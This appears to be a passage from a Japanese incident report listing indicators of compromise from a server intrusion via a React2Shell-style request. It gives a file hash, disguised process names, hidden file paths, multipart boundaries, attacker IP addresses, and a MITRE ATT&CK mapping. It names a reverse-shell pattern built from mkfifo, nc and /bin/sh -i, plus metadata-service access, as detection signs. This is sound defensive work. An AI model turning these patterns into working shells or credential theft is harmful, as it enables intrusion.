SHA-256 f6de3424f2eb38e8db7ac9213cfadaa11d2a16d4d090c0cecc6381d7890f1126 遠隔管理ツールの起動ヘルパー

IPアドレスとハッシュ以外では、次の文字列やプロセスの形が検索に使えます。

種別 今回確認した場所・用途
ドメイン blnc.traffmonetizer.com TraffMonetizerバイナリ内の文字列
プロセス名 crond-sync TraffMonetizer
プロセス名 crond-helper 遠隔管理ツール
プロセス名 terminate-engineterminate-helper Global Socket
ファイルパス /tmp/XX* UPXで圧縮されたELF
ファイルパス /tmp/.systemd/.rcu_bh CPUを占有したELF
ファイルパス /dev/shm/.systemd-udevd CPUを占有したELF
HTTP Next-Actionを伴うmultipart形式のPOST React2Shell形式のリクエスト
multipart boundary ----WebKitFormBoundaryx8jO2oVc6SWP3Sad 2,206バイトのbodyを使う形式
multipart boundary ----WebKitFormBoundaryHitTheGas 130〜136KBのbodyを使う形式
プロセス形状 mkfifonc/bin/sh -iの組み合わせ リバースシェル

TraffMonetizerとGlobal Socketには正規の用途もあります。名称や接続先だけで侵害と判断せず、コンテナイメージに含まれないファイル、想定外の起動引数、外向き通信と合わせて確認します。HTTPヘッダーやファイルパスも、単独では攻撃の証拠になりません。

外向き通信で確認したIPは次のとおりです。「国・地域」は地域インターネットレジストリ(RIR)の登録国またはクラウド事業者が公表するリージョンであり、攻撃者の所在地を示すものではありません。

IPアドレス 国・地域 ASN・サービス 今回確認した用途
103.149.253.59:4448 ベトナム AS135918 / Viet Digital Technology リバースシェルの接続先
64.34.83.195:769 登録国なし AS396356 / Latitude.sh TraffMonetizerのピア/制御通信
212.132.98.170:443 ドイツ AS8560 / IONOS SE Global Socketの中継先
104.16.132.229:443104.16.133.229:443 エニーキャスト AS13335 / Cloudflare 遠隔管理ツールのHTTPS接続先。Cloudflareの共有アドレス
172.67.160.216:443104.21.14.253:443172.67.138.72:443 エニーキャスト AS13335 / Cloudflare 遠隔管理ツールのHTTPS接続先。Cloudflareの共有アドレス
47.131.179.185:44354.251.8.68:4433.0.83.45:44354.254.169.246:44354.251.56.155:443 シンガポール AS16509 / Amazon Web Services ap-southeast-1 遠隔管理ツールの接続先。C2か探索先かは特定できず
169.254.169.254:80 リンクローカル クラウドのInstance Metadata Service 接続試行。HTTP応答には進まず

ASNはRIPEstatと各RIRのRDAP、AWSのリージョンはAWS公開のIP範囲、Cloudflareのアドレス範囲はCloudflare公式情報で確認しました。

MITRE ATT&CK

Technique 今回の動き
T1190 Exploit Public-Facing Application React2Shell形式のPOST後、next-server配下でプロセスを実行
T1059.004 Unix Shell shとbase64を使ったスクリプト実行
T1105 Ingress Tool Transfer wgetssl_clientによるファイル取得
T1496.001 Compute Hijacking CPUを使い続けるELF
T1496.002 Bandwidth Hijacking TraffMonetizerによる回線の収益化
T1219 Remote Access Tools Global Socketと遠隔管理ツール
T1552.005 Cloud Instance Metadata API 169.254.169.254:80への接続試行
T1036 Masquerading systemdkworkerなどへのプロセス名偽装
T1027.002 Software Packing UPXで圧縮されたELF